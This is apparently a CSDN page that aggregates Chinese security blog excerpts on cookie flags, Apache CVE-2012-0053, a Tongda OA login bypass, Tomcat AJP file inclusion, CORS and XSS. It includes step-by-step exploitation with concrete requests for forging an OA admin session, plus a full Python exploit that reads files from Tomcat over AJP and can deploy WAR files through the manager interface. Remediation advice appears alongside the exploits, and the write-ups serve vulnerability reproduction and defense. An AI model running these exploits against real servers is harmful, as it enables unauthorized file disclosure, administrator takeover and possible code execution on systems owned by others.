精华内容
下载资源
问答
  • 会话Cookies未被标记为HTTPOnly /Secure
    千次阅读
    2022-03-24 16:22:13

    会话Cookies未被标记为HTTPOnly

    漏洞描述

    如果在cookie上设置了HttpOnly属性,那么cookie的值就不能被客户端的JavaScript读取或设置。这项措施使某些客户端攻击(如跨站点脚本)更难被利用,因为它防止了客户端攻击通过注入脚本来获取cookie的值。

    漏洞影响

    如果cookie未设置HttpOnly属性,可能会很轻易的被诸如 XSS 这类攻击所窃取。

    修复建议

    通常建议对所有的cookie都设置HttpOnly标志。 除非你特别要求在你的应用程序中,通过合法的客户端脚本来读取或设置cookie的值,否则你应该通过在相关的Set-cookie方法中包含这个属性来设置HttpOnly标志。

    会话Cookies未被标记为Secure

    漏洞描述

    如果在cookie上设置了Secure标志,那么浏览器将不会在任何使用未加密的HTTP连接的请求中提交cookie,从而防止cookie被嗅探网络流量的攻击者轻易截获。

    漏洞影响

    如果不设置Secure标志,那么如果用户访问Cookie范围内的任何基于HTTP协议的URL时,Cookie将以明文形式传输,攻击者可能会通过流量嗅探的方式截取 cookie 信息。

    修复建议

    在通过HTTPS访问内容时,应在所有用于传输敏感数据的Cookie上设置Secure标志。如果cookie用于传输会话令牌,那么通过HTTPS访问的应用程序区域应采用自己的会话处理机制,而且所使用的会话令牌绝不应通过未加密的HTTP通信传输。

    更多相关内容
  • 一、漏洞描述 二、漏洞原理 在1.4.7之前的nginx 1.3.15和1.5.12之前的1.5.x中的SPDY实现中,基于堆的缓冲区溢出允许远程攻击者通过精心设计的请求执行任意代码。...四、漏洞复现 五、漏洞修复 ...

    一、漏洞描述

    影响版本:Apache服务器2.2.0-2.2.21版本

    二、漏洞原理

    Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,且HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookie。

    三、环境搭建

    apache官网下载2.2.21版本,下载地址:http://archive.apache.org/dist/httpd/binaries/win32/httpd-2.2.21-win32-x86-no_ssl.msi
    下载完成后安装,安装教程:https://www.cnblogs.com/liuqiyun/p/9177969.html
    安装成功后如下图所示,在右下角有一个图标
    在这里插入图片描述
    电脑如果有多个apache的话,可选择打开某一个关闭某一个
    在这里插入图片描述

    四、漏洞复现

    安装完成后打开2.2.21版本apache,如下图所示

    在这里插入图片描述
    使用网上公开的CVE-2012-0053检测文件,检测
    CVE-2012-0053 检测文件地址:http://www.vuln.cn/6129
    在ip.txt中写入目标IP地址
    在这里插入图片描述
    本地运行phpstudy,目标网站192.168.36.140存在该漏洞
    在这里插入图片描述

    五、漏洞修复

    Apache2.2.22及以上版本已经修复此问题,升级即可解决。

    更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
    在这里插入图片描述

    展开全文
  • 某企业通达OA任意登录漏洞复现

    千次阅读 2021-11-19 10:13:24
    HttpOnly 这个参数的优点是不会被js获取 尝试打开有HTTP-Only cookie设置的网站 查看cookie 一般,session-id是用这个来判断即使有xss漏洞,也获取不了session-id相关的cookie值 (2)secure 设置cookie的某个值...


    前言

    通达OA是一套使用比较广泛的办公系统。该漏洞因为使用uid作为身份标识,攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理员身份登录OA系统。通达OA官方于2020年4月17日发布安全更新。


    提示:以下是本篇文章正文内容,下面案例可供参考

    一、漏洞说明

    影响的版本:2017 2013
    本次复现为2017版本,则重点分析该版本,但原理都是基本相同的,只不过文件路径不同而已。根据POC的代码分析如下,该漏洞涉及的文件包含以下四个:

    /ispirit/login_code.php
    ),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。
    该文件用来获取codeuid参数,如果不存在,则会自动生成一个codeuid,并且将其写入CODE_LOGIN_PC缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。

    /general/login_code_scan.php
    在这里插入图片描述
    在这一文件中,用户可以控制输入的关键参数uid,在存在漏洞的通达OA版本中,后台数据库里uid对应的用户是admin管理员账户。并且将该数据存储在CODE_INFO_PC缓存中,因为我们在第一个文件中获取的codeuid存储在CODE_LOGIN_PC中,所以这里在复现时需要指明source变量为pc,这里的username则为admin,而type变量需要指明为confirm,原因在后面会进行解释。

    /ispirit/login_code_check.php
    请添加图片描述
    在这里插入图片描述
    这里使用之前存储的两个缓存中的内容,一个用来获取codeuid,一个用来获取通过post传入的uid等关键信息,这里红框就是为什么前一步需要将type设置为confirm。

    /general/index.php
    在这里插入图片描述
    这里是最为关键的位置,代码获取用户可控的参数uid,并依次作为依据直接带入数据库进行查询

    首先说明,通达OA源码使用zend5加密,这里推荐一款解密工具:SeayDzend,工具使用也很简单,创建两个目录,一个存放加密文件,另一个用来输出解密结果

    二、使用步骤

    1.首先抓首页的包进行更改

    首先抓首页的包进行更改,用GET方式访问/ispirit/login_code.php

    通过返回包获取codeuid

    2.而后使用POST方式提交相关参数

    而后使用POST方式访问/general/login_code_scan.php

    提交相关参数,其中codeuid需要改为上一步中返回的值。
    payload:uid=1&codeuid={2448FFAD-A63E-F010-653B-8814A083440A}&type=confirm&source=pc&username=admin
    在这里插入图片描述

    3.使用GET方式访问传入关键参数codeuid

    使用GET方式访问/ispirit/login_code_check.php,传入关键参数codeuid,让后台进行代入查询,并返回携带管理员身份信息的凭证。
    在这里插入图片描述
    经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行该数据包,成功以管理员身份登录OA系统。

    三、POC生成cookie

    poc下载地址:

    https://github.com/NS-Sp4ce/TongDaOA-Fake-User

    生成cookie命令:

    python poc.py -v 11 -url target_url
    在这里插入图片描述
    在这里插入图片描述

    3、替换cookie

    通过cookie修改插件,替换cookie之后,访问登录后得页面就可以绕过登录了

    http:///general/index.php?isIE=0&modify_pwd=0

    替换cookie后
    在这里插入图片描述
    在这里插入图片描述
    mobile/auth_mobi.php?isAvatar=1&uid=1&ip_VER=0
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    参考链接:
    https://cloud.tencent.com/developer/article/1632094
    cookie属性
    (1)HTTP-Only
    服务端发送cookie的时候,可以设置HTTP-Only
    Set-Cookie: SESSIONID=abc123; expires=Wednesday, 17-Nov-99 23:12:40 GMT; HttpOnly
    这个参数的优点是不会被js获取
    尝试打开有HTTP-Only cookie设置的网站
    查看cookie
    一般,session-id是用这个来判断即使有xss漏洞,也获取不了session-id相关的cookie值
    (2)secure
    设置cookie的某个值secure为True时:
    此cookie只有在HTTPS协议中才会进行传输HTTP协议传输时,是不传输此协议的。
    防御方法:
    XSS漏洞引起的会话劫持:可以使用http-only来防止js获取cookie中的sessionid信息
    会话劫持引起的会话劫持:可以使用HTTP-SSL(https)+secure来保证sessionid不被获取

    总结

    展开全文
  • docker 复现: POC 防御方法 前置知识: ajp13是一个二进制的TCP传输协议,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化,但是,浏览器并不能直接支持AJP13协议,只支持HTTP协议,通过...

    目录

    前置知识:

    具体原因 :

    docker 复现:

    POC

    防御方法


    前置知识:

    ajp13是一个二进制的TCP传输协议,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化,但是,浏览器并不能直接支持AJP13协议,只支持HTTP协议,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议给客户端访问。

    说人话呢, 就是在这个ajp服务的8009端口,存在文件包含的缺陷,可以构造恶意请求包进行恶意文件包含操作进而读取受影响Tomcat服务器上的Web目录文件,严重时可以配合文件上传实现getshell

    具体原因 :

    毕竟刚开始学Servlet,这个还是有点困难。等学到框架那边的知识开始复习。。。

    漏洞成因还是离不开具体代码,这也算是一个从脚本小子进阶的过程。

    【通告更新】Apache Tomcat服务器文件包含漏洞安全风险通告第三次更新 - 程序员大本营

    docker 复现:

    进入到该漏洞模块,打开终端,本次POC必须在python2环境允许,并且需要用pip -m 命令添加依赖包。

    打开docker

    docker-compose up -d

    查看开放端口  发现8009 端口打开

    netstat -a

     然后我调的是主机模式 这样在另外一台kail 虚拟机访问。

     

    POC

    #!/usr/bin/env python
    #
    # Julien Legras - Synacktiv
    #
    # THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
    # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    # DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
    # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
    # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    
    from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
    from pprint import pprint, pformat
    
    import socket
    import argparse
    import logging
    import re
    import os
    from StringIO import StringIO
    import logging
    from colorlog import ColoredFormatter
    from urllib import unquote
    
    
    def setup_logger():
        """Return a logger with a default ColoredFormatter."""
        formatter = ColoredFormatter(
            "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
            datefmt="%Y-%m-%d %H:%M:%S",
            reset=True,
            log_colors={
                'DEBUG': 'bold_purple',
                'INFO': 'bold_green',
                'WARNING': 'bold_yellow',
                'ERROR': 'bold_red',
                'CRITICAL': 'bold_red',
            }
        )
    
        logger = logging.getLogger('meow')
        handler = logging.StreamHandler()
        handler.setFormatter(formatter)
        logger.addHandler(handler)
        logger.setLevel(logging.DEBUG)
    
        return logger
    
    
    logger = setup_logger()
    
    
    # helpers
    def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
        fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
        fr.method = method
        fr.protocol = "HTTP/1.1"
        fr.req_uri = req_uri
        fr.remote_addr = target_host
        fr.remote_host = None
        fr.server_name = target_host
        fr.server_port = 80
        fr.request_headers = {
            'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'SC_REQ_CONNECTION': 'keep-alive',
            'SC_REQ_CONTENT_LENGTH': '0',
            'SC_REQ_HOST': target_host,
            'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
            'Accept-Encoding': 'gzip, deflate, sdch',
            'Accept-Language': 'en-US,en;q=0.5',
            'Upgrade-Insecure-Requests': '1',
            'Cache-Control': 'max-age=0'
        }
        fr.is_ssl = False
    
        fr.attributes = []
    
        return fr
    
    
    class Tomcat(object):
        def __init__(self, target_host, target_port):
            self.target_host = target_host
            self.target_port = target_port
    
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.socket.connect((target_host, target_port))
            self.stream = self.socket.makefile("rb", bufsize=0)
    
        def test_password(self, user, password):
            res = False
            stop = False
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
                'base64').replace('\n', '')
            while not stop:
                logger.debug("testing %s:%s" % (user, password))
                responses = self.forward_request.send_and_receive(self.socket, self.stream)
                snd_hdrs_res = responses[0]
                if snd_hdrs_res.http_status_code == 404:
                    raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
                elif snd_hdrs_res.http_status_code == 302:
                    self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                    logger.info("Redirecting to %s" % self.req_uri)
                    self.forward_request.req_uri = self.req_uri
                elif snd_hdrs_res.http_status_code == 200:
                    logger.info("Found valid credz: %s:%s" % (user, password))
                    res = True
                    stop = True
                    if 'Set-Cookie' in snd_hdrs_res.response_headers:
                        logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
                elif snd_hdrs_res.http_status_code == 403:
                    logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                        user, password))
                    stop = True
                elif snd_hdrs_res.http_status_code == 401:
                    stop = True
    
            return res
    
        def start_bruteforce(self, users, passwords, req_uri, autostop):
            logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
            self.req_uri = req_uri
            self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)
    
            f_users = open(users, "r")
            f_passwords = open(passwords, "r")
    
            valid_credz = []
            try:
                for user in f_users:
                    f_passwords.seek(0, 0)
                    for password in f_passwords:
                        if autostop and len(valid_credz) > 0:
                            self.socket.close()
                            return valid_credz
    
                        user = user.rstrip('\n')
                        password = password.rstrip('\n')
                        if self.test_password(user, password):
                            valid_credz.append((user, password))
            except NotFoundException as e:
                logger.fatal(e.message)
            finally:
                logger.debug("Closing socket...")
                self.socket.close()
                return valid_credz
    
        def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
            self.req_uri = req_uri
            self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                               method=AjpForwardRequest.REQUEST_METHODS.get(method))
            logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
            if user is not None and password is not None:
                self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                        "%s:%s" % (user, password)).encode('base64').replace('\n', '')
    
            for h in headers:
                self.forward_request.request_headers[h] = headers[h]
    
            for a in attributes:
                self.forward_request.attributes.append(a)
    
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            print(responses)
            if len(responses) == 0:
                return None, None
    
            snd_hdrs_res = responses[0]
    
            data_res = responses[1:-1]
            if len(data_res) == 0:
                logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))
    
            return snd_hdrs_res, data_res
    
        def upload(self, filename, user, password, old_version, headers={}):
            deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
            with open(filename, "rb") as f_input:
                with open("/tmp/request", "w+b") as f:
                    s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                        filename)
                    s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                    f.write(s_form_header)
                    f.write(f_input.read())
                    f.write(s_form_footer)
    
            data_len = os.path.getsize("/tmp/request")
    
            headers = {
                "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
                "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
                "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
                "Origin": "http://%s" % (self.target_host),
            }
            if obj_cookie is not None:
                headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')
    
            attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                          {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
            if old_version == False:
                attributes.append({"name": "query_string", "value": deploy_csrf_token})
            old_apps = self.list_installed_applications(user, password, old_version)
            r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                     attributes=attributes)
    
            with open("/tmp/request", "rb") as f:
                br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
                br.send_and_receive(self.socket, self.stream)
    
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                logger.error('Upload failed')
    
            while r.prefix_code != AjpResponse.END_RESPONSE:
                r = AjpResponse.receive(self.stream)
            logger.debug('Upload seems normal. Checking...')
            new_apps = self.list_installed_applications(user, password, old_version)
            if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
                logger.info('Upload success!')
            else:
                logger.error('Upload failed')
    
        def get_error_page(self):
            return self.perform_request("/blablablablabla")
    
        def get_version(self):
            hdrs, data = self.get_error_page()
            for d in data:
                s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
                if len(s) > 0:
                    return s[0]
    
        def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
            # first we request the manager page to get the CSRF token
            hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
            deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                           "".join([d.data for d in rdata]))
            if old_version == False:
                if len(deploy_csrf_token) == 0:
                    logger.critical("Failed to get CSRF token. Check the credentials")
                    return
    
                logger.debug('CSRF token = %s' % deploy_csrf_token[0])
            obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                           hdrs.response_headers.get('Set-Cookie', ''))
            if obj is not None:
                return deploy_csrf_token[0], obj
            return deploy_csrf_token[0], None
    
        def list_installed_applications(self, user, password, old_version, headers={}):
            deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
            headers = {
                "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
                "SC_REQ_CONTENT_LENGTH": "0",
                "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
                "Origin": "http://%s" % (self.target_host),
            }
            if obj_cookie is not None:
                headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')
    
            attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                          {"name": "req_attribute",
                           "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
            if old_version == False:
                attributes.append({
                    "name": "query_string", "value": "%s" % deploy_csrf_token})
            hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                              attributes=attributes)
            found = []
            for d in data:
                im = re.findall('/manager/html/expire\?path=([^&]*)&', d.data)
                for app in im:
                    found.append(unquote(app))
            return found
    
        def undeploy(self, path, user, password, old_version, headers={}):
            deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
            path_app = "path=%s" % path
            headers = {
                "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
                "SC_REQ_CONTENT_LENGTH": "0",
                "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
                "Origin": "http://%s" % (self.target_host),
            }
            if obj_cookie is not None:
                headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')
    
            attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                          {"name": "req_attribute",
                           "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
            if old_version == False:
                attributes.append({
                    "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
            r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                     attributes=attributes)
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                logger.error('Undeploy failed')
    
            # Check the successful message
            found = False
            regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*' + path + ')\s*<\/pre><\/td>'
            while r.prefix_code != AjpResponse.END_RESPONSE:
                r = AjpResponse.receive(self.stream)
                if r.prefix_code == 3:
                    f = re.findall(regex, r.data)
                    if len(f) > 0:
                        found = True
            if found:
                logger.info('Undeploy succeed')
            else:
                logger.error('Undeploy failed')
    
    
    if __name__ == "__main__":
    
    
        parser = argparse.ArgumentParser()
        parser.add_argument('target', type=str, help="Hostname or IP to attack")
        parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
        parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
        args = parser.parse_args()
        bf = Tomcat(args.target, args.port)
        attributes = [
            {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
            {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
            {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
        ]
        snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
        print("".join([d.data for d in data_res]))

    输入命令

    python2 poc.py -p 8009 -f "/WEB-INF/web.xml"  127.0.0.1

     

     复现完毕

    防御方法

    1. 临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
    2. 配置ajp配置中的secretRequired跟secret属性来限制认证
    3. 更新

    参考链接

    【通告更新】Apache Tomcat服务器文件包含漏洞安全风险通告第三次更新 - 程序员大本营

    https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
    https://www.freebuf.com/articles/system/236852.html
     

    展开全文
  • Apache HTTP Server "httpOnly" Cookie信息泄露漏洞 【原因】 服务器问题 Apache HTTP Server在对状态代码400的默认错误响应的实现上存在Cookie信息泄露漏洞,成功利用后可允许攻击者获取敏感信息。 【解决...
  • session.cookie_httponly = 设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启: <?php ini_set("session.cookie_httponly", 1); // or session_set_cookie_params(0, ...
  • 某厂商给别人网站扫描的结果说是有漏洞,其中就有:SetCookie 未配置 HttpOnly、SetCookie 未配置 Secure。这到底是什么意思呢?SetCookie是这个厂商认为写 Cookie的方法,但实际上我们的语言中并不是 SetCookie,那...
  • 优化:对开启httponly模式下无法读取cookie的主机作了兼容2.优化:https模式下对第三方分享代码做了兼容3.优化:联系页面百度地图的调用增加了对https协议的支持闪灵CMS医院建站系统 v5.0 build20191018更新说明:1....
  • 修复iis解析漏洞You will generally be in good shape using IIS 10 to securely host websites, but there are some changes you must make to pass a security audit. 使用IIS 10安全地托管网站通常会保持良好状态...
  • 4.漏洞复现 4.1.tomcat环境搭建 4.2.POC利用测试 5.POC分析 6.配合文件上传漏洞拿shell 7.修复建议 8.漏洞链接 1.漏洞概述 2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含...
  • Javascript框架库漏洞验证

    千次阅读 多人点赞 2021-10-22 11:42:24
    Javascript框架库漏洞????前言????漏洞验证????漏洞描述????解决办法????免费福利 ????前言 经常看到漏扫扫出来这个漏洞,查看了网上好多文章都没有正确的验证方法都在扯淡。今天我来点干货记录一下这个漏洞到底是...
  • 研究了下apache的漏洞CVE-2012-0053

    千次阅读 2013-08-23 15:38:31
    发一个大cookie过去,最新版本的,竟然显示了个\n 嘛意思 干嘛不直接删掉 Your browser sent a request that this server could not understand. ...Size of a request header field exceeds server limit. ...
  • CORS跨域漏洞的学习

    千次阅读 2019-11-08 14:04:09
    到www.evil.com这个站,发现生成了一个secrect.html文件,发现里面有httponly的cookie,漏洞利用成功。 4、CORS漏洞的挖掘思路探讨 4.1> 如何平常测试中检查这个漏洞? CORS的漏洞主要看当我们发起的请求中...
  • 漏洞定义 SQL注入是一种将SQL代码注入或者添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。由于SQL语句本身多样性,以及用于构造的SQL语句编码方法很多,因此凡是...
  • 漏洞说明 这次对三类漏洞进行说明,之所以将它们放在一起,是因为这三类漏洞都可以在nginx中通过修改配置文件进行治理。 XFS攻击 漏洞说明:跨框架脚本(XFS)漏洞使攻击者能够在恶意页面的 HTMLiframe 标记内加载易...
  • PHPsession反序列化漏洞

    2021-01-27 12:26:11
    默认为 0 session.cookie_path 指定要设置会话cookie 的路径,默认为 / session.cookie_domain 指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名 session.cookie_httponly 将Cookie...
  • CORS和JSONP跨域漏洞

    2021-07-30 13:50:30
    文章目录 0x00 同源策略 ...Credentials: true 这样的话攻击者就可以利用这个漏洞来窃取已经在这个网站上登录了的用户的信息(利用cookie) 0x02 CORS漏洞攻击流程 由于是本地复现,先修改hosts文件,加上: 127.0.0.1 ...
  • 网上小公司的站点可能基本大部分没有预防XSS漏洞的固定方法,那么很可能就存在XSS漏洞 XSS漏洞介绍 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会...
  • 目标URL存在SQL注入漏洞

    千次阅读 2019-03-26 15:48:33
    项目渗透测试出现 目标URL存在SQL注入漏洞 的问题: 这里就使用拦截器进行对request的host进行了验证: package com.XXX.interceptoer; import com.jfinal.aop.Interceptor; import ...
  • [Vulhub] Nginx漏洞

    2021-06-08 11:54:07
    文章目录@[toc]Nginx 解析漏洞0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现Nginx 文件名逻辑漏洞(CVE-2013-4547)0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现Nginx...
  • 一、 漏洞描述 1. 检测到目标URL存在SQL注入漏洞 很多WEB应用中都存在SQL注入漏洞。SQL注入是一种攻击者利用代码缺陷进行攻击的方式,可在任何能够影响数据库查询的应用程序参数中利用。例如url本身的参数、post...
  • web漏洞-XSS

    千次阅读 2021-05-31 23:12:49
    漏洞介绍 XSS 攻击是指在网页中嵌入一段恶意的客户端 Js 脚本代码片段,JS 脚本恶意代码可以获取用户的 Cookie、URL 跳转、内容篡改、会话劫持……等。 漏洞危害 xss 攻击手段本身对服务端没有直接的危害,xss 主要...
  • web常见漏洞修复方法

    千次阅读 2021-07-02 11:36:03
    内容锚点一、cookie问题1、httpOnly2、Cookies with missing, inconsistent or contradictory properties二、 Clickjacking 问题三、TLS/SSL LOGJAM attack四、HSTS问题 一、cookie问题 1、httpOnly Java 解决方案 ...
  • 关闭TRACE方法一、TRACE漏洞信息漏洞描述漏洞危害二、验证方法1.1 配置Java 环境变量1.2 安装Burp Suite1.3 使用Burp suite测试三、关闭TRACE请求 一、TRACE漏洞信息 漏洞描述 目标WEB服务器启用了TRACE方法。TRACE...
  • 服务器系统及软件常见漏洞 漏洞名称 允许Traceroute探测 远端WWW服务支持TRACE请求 远端WWW服务提供了对WebDAV的支持 远端WEB服务器上存在/robots.txt文件 远端VNC服务正在运行 ...
  • 学习下会话固定漏洞
  • 常见漏洞知识库(原理/场景/修复)

    千次阅读 2020-04-30 12:08:38
    SQL注入漏洞产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验(类型、长度、业务参数合法性等),同时没有对用户输入数据进行有效地特殊字符过滤,使得用户的输入直接带入数据库执行,...
  • 常见的漏洞攻击:1、xss:是跨站脚本攻击 分3类:1、存储型2、反射型3、蠕虫型2、csrf:是跨站请求伪造攻击 分2类:1、get型2、post型3、sql注入4、文件上传xss攻击:xss攻击可以:盗取用户账号、也可以盗取后进行...
  •   临近毕业,最近在找实习单位,看到好多招聘要求熟悉owasp top 10 安全漏洞,于是在经过一番查资料,终于有了大致的了解,为了加深印象,特意通过博客记录一下,也希望为有同样需求的同学提供一个参考,不足之处...
  • 漏洞引擎

    2019-09-26 20:22:42
    漏洞引擎 最新最热 ...漏洞复现汇总 2019 2018 2017 2016 2015 其他 漏洞分类 Apache Http Server CVE Name CVSS CVE-2019-3878 libapache2-mod-auth-mellon – security upda...

空空如也

空空如也

1 2 3 4 5 ... 7
收藏数 129
精华内容 51
关键字:

httponly漏洞复现